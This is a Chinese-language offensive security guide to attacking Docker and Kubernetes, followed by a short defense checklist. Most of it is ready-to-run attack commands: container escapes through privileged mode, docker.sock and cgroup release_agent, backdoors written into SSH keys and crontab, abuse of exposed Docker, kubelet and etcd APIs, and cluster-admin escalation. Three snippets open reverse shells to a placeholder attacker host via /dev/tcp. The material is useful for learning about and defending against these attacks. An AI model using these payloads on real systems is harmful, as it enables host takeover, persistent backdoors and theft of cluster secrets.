Docker 与 Kubernetes 容器安全
容器化已成为主流部署方式,错误的配置让攻击者轻松逃逸到宿主机或控制整个集群。
一、Docker 基础架构
CODE
宿主机 (Host OS)
├── Docker Daemon
│ ├── Container A (namespace + cgroups 隔离)
│ ├── Container B
│ └── Container C
└── 内核 (Linux Kernel) ← 容器共享宿主内核
二、Docker 配置安全
1. Privileged 特权模块
BASH
docker run --privileged ubuntu bash
# --privileged 关闭所有隔离,等于拥有宿主机 root
利用:特权容器中直接挂载宿主磁盘:
BASH
fdisk -l
mkdir /tmp/host
mount /dev/sda1 /tmp/host
chroot /tmp/host
# 现在就是宿主机 root
2. 挂载宿主机目录
BASH
docker run -v /:/host ubuntu bash
# 容器中可读写宿主机所有文件
# 写 SSH 公钥
echo "ssh-rsa AAA..." >> /host/root/.ssh/authorized_keys
# 写 crontab
echo "* * * * * /tmp/backdoor.sh" >> /host/etc/crontab
3. Docker Socket 挂载
BASH
docker run -v /var/run/docker.sock:/var/run/docker.sock ubuntu bash
# 容器内操作 docker daemon
docker run -it -v /:/host ubuntu bash
# 或
docker exec -it <id> bash
工具:在容器内装 Docker 客户端即可操作宿主:
BASH
curl -fsSL https://get.docker.com -o get-docker.sh
sh get-docker.sh
docker run -d --privileged -v /:/host ubuntu bash -c "chroot /host"
4. Capabilities 逃逸
BASH
# CAP_SYS_ADMIN
mount -t cgroup -o rdma cgroup /mnt
mkdir /mnt/x
echo 1 > /mnt/x/notify_on_release
# 触发 release_agent 执行任意命令
# CAP_SYS_MODULE
# 加载内核模块,完全控制内核
# CAP_DAC_READ_SEARCH + CAP_SYS_PTRACE
# 可注入宿主进程,读取内存
危险 Capabilities 清单:
| Capability | 风险 |
|---|---|
CAP_SYS_ADMIN |
内核/文件系统操作 → 完全逃逸 |
CAP_SYS_MODULE |
加载内核模块 |
CAP_SYS_PTRACE |
进程注入 |
CAP_NET_RAW |
原始套接字 → ARP 欺骗 |
CAP_NET_ADMIN |
网络配置 |
CAP_DAC_READ_SEARCH |
绕过文件权限 |
5. 不安全的 Dockerfile
DOCKERFILE
# 危险 1:以 root 运行
FROM node:18
USER root # 默认就是 root
# 危险 2:硬编码密码
ENV DB_PASSWORD=admin123
ENV AWS_SECRET_KEY=xxx
# 危险 3:COPY 敏感文件
COPY .env /app/
COPY ~/.aws/credentials /root/.aws/
# 正确做法
RUN useradd -m -u 1001 appuser
USER appuser
# 使用 secrets 管理敏感信息
6. 镜像漏洞利用
BASH
# 扫描镜像已知 CVE
trivy image nginx:1.21.0
clair-scanner --ip localhost nginx:1.21.0
# 历史层泄露敏感信息
docker history <image_id> --no-trunc
# 可能泄露 ENV 变量、COPY 的文件内容
# 检查镜像层
docker save <image> -o image.tar
tar -xvf image.tar
# 逐层解压查文件
三、Docker 逃逸技术
1. notify_on_release 逃逸(CAP_SYS_ADMIN)
BASH
# 写入 release_agent
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "bash -i >& /dev/tcp/attacker/4444 0>&1" >> /cmd
chmod +x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
2. CVE-2022-0492(CGroups v1 逃逸)
利用 CAP_SYS_ADMIN 绕过 cgroup v1 release_agent 的限制。
3. runc 逃逸(CVE-2019-5736)
覆盖宿主 runc 二进制文件,影响 Docker < 18.09.2。
BASH
# 从容器内覆盖宿主的 runc
./exploit /bin/bash
# 下次宿主机运行 docker exec 时触发
4. /proc/sysrq-trigger 逃逸
BASH
# 如果 /proc/sysrq-trigger 可写
echo 1 > /proc/sys/kernel/sysrq
echo b > /proc/sysrq-trigger # 重启宿主机
5. CVE-2024-21626(runc 工作目录逃逸)
CODE
# 通过设置容器工作目录绕过隔离
docker run -w /proc/self/fd/8 ubuntu bash
# 可访问宿主机文件系统
四、Docker API 未授权访问
1. 发现
BASH
# 公网暴露:2375 (HTTP) / 2376 (HTTPS)
curl http://target:2375/version
curl http://target:2375/containers/json
# 内网发现
masscan -p2375,2376 10.0.0.0/8
2. 利用
BASH
# 未授权 Docker 等于 root
docker -H tcp://target:2375 ps
docker -H tcp://target:2375 run --privileged -v /:/host -it ubuntu bash
3. 反弹 Shell
PYTHON
import docker
client = docker.DockerClient(base_url='tcp://target:2375')
client.containers.run(
'ubuntu:latest',
'bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"',
privileged=True,
volumes={'/': {'bind': '/host', 'mode': 'rw'}},
remove=True
)
五、Kubernetes 安全
1. K8s API Server 未授权
BASH
# 扫描
curl https://target:6443/version -k
curl http://target:8080/api/v1/namespaces
# 获取 secrets
curl https://target:6443/api/v1/secrets -k -H "Authorization: Bearer <token>"
# 获取 kubeconfig
curl https://target:6443/api/v1/namespaces/kube-system/secrets
2. Kubelet API(10250 端口)
BASH
# 列出 pods
curl -k https://target:10250/pods
# 在容器中执行命令
curl -k -XPOST https://target:10250/run/<ns>/<pod>/<container> \
-d "cmd=id"
# 读取容器日志
curl -k https://target:10250/logs/<ns>/<pod>/<container>
3. etcd 未授权(2379 端口)
BASH
etcdctl --endpoints=http://target:2379 get / --prefix --keys-only
# 泄露所有 secrets、configmaps、pods 信息
4. Service Account Token 利用
Pod 挂载了 /var/run/secrets/kubernetes.io/serviceaccount/token:
BASH
# 拿到 token 后
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
API=https://kubernetes.default.svc
# 查看权限
curl -k -H "Authorization: Bearer $TOKEN" $API/api/v1/namespaces
# 如果有 create pods 权限
curl -k -H "Authorization: Bearer $TOKEN" \
-XPOST $API/api/v1/namespaces/default/pods \
-H "Content-Type: application/json" \
-d '{
"apiVersion":"v1",
"kind":"Pod",
"metadata":{"name":"evil"},
"spec":{
"containers":[{"name":"evil","image":"ubuntu","command":["/bin/sh","-c","bash -i >& /dev/tcp/attacker/4444 0>&1"]}],
"hostPID":true,
"hostNetwork":true,
"hostIPC":true
}
}'
5. Helm/Tiller 漏洞
BASH
# Tiller 通常有 cluster-admin 权限
helm --host=tiller-deploy.kube-system:44134 list
helm --host=tiller-deploy.kube-system:44134 install --name evil /malicious-chart
六、Kubernetes 攻击路径
1. 经典攻击链
MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图
2. RBAC 提权
BASH
# 检查当前权限
kubectl auth can-i --list
# 创建 RoleBinding 提权
kubectl create clusterrolebinding evil-binding \
--clusterrole=cluster-admin \
--serviceaccount=default:default
3. 横向到其他 Pod
BASH
# 从当前 Pod 用 Service DNS 枚举内部服务
nslookup redis.default.svc.cluster.local
curl http://api-gateway.default.svc.cluster.local:8080/
# 若存在 SSRF,利用内部服务 DNS 打其他容器
七、工具
| 工具 | 用途 |
|---|---|
| Docker Bench Security | Docker 安全基线检查 |
| Trivy / Clair | 镜像漏洞扫描 |
| kube-bench | K8s CIS Benchmark |
| kube-hunter | K8s 安全审计 |
| kubeaudit | K8s 配置审计 |
| CDK / peirates | 容器/K8s 渗透工具 |
| Falco | 运行时安全检测 |
| Aqua Security | 全栈容器安全 |
八、防御方案
Docker 层面
- 不用 root:
USER 1000 - 不用 –privileged:精确分配 capabilities
- 不挂 socket:不使用
-v /var/run/docker.sock - 只读 filesystem:
--read-only - 资源限制:
--memory--cpus - 不暴露 Docker API:绑定 127.0.0.1
- 启用内容信任:
DOCKER_CONTENT_TRUST=1 - Seccomp / AppArmor / SELinux
K8s 层面
- Pod Security Standards:
restricted策略 - RBAC 最小权限:不绑
cluster-admin - Network Policy: Pod 间网络隔离
- Secret Encryption:
--encryption-provider-config - Admission Control:OPA/Gatekeeper 策略
- 审计日志:
--audit-log-path
九、实战经验
- Socket 是金矿:
/var/run/docker.sock和docker.sock是最容易被忽视的逃逸点。 - Service Account Token 默认挂载:几乎所有 Pod 都有,但很少有团队收紧 RBAC。
- K8s 密码/密钥在 Secrets:不进 Pod 看不到,进了 Pod 遍地 resources + creds。
- 内部的内部:K8s DNS 可以访问集群内所有 service,横向移动比想象中容易。
- 日志别忘记:
kubectl logs可能泄露敏感参数(启动命令中带了密码)。 - 镜像层是残留数据的金矿:
docker history+ 分层解压经常能找回已经删掉的 ENV。